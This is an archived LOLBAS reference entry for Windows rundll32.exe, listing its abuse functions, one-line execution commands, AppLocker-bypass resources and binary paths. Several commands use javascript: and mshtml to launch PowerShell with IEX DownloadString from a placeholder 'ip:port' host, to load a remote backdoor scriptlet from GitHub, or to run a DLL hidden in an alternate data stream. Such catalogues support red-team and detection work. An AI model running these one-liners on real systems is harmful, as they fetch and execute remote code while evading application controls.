UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.
New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/
- Functions: Execute, Read ADS
rundll32.exe AllTheThingsx64,EntryPoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
Acknowledgements:
- Casey Smith - @subtee
Code sample:
Resources:
- https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
- https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.md
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
Full path:
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
Notes: [1]Code sample linked to Red Canary - Atomic Red Team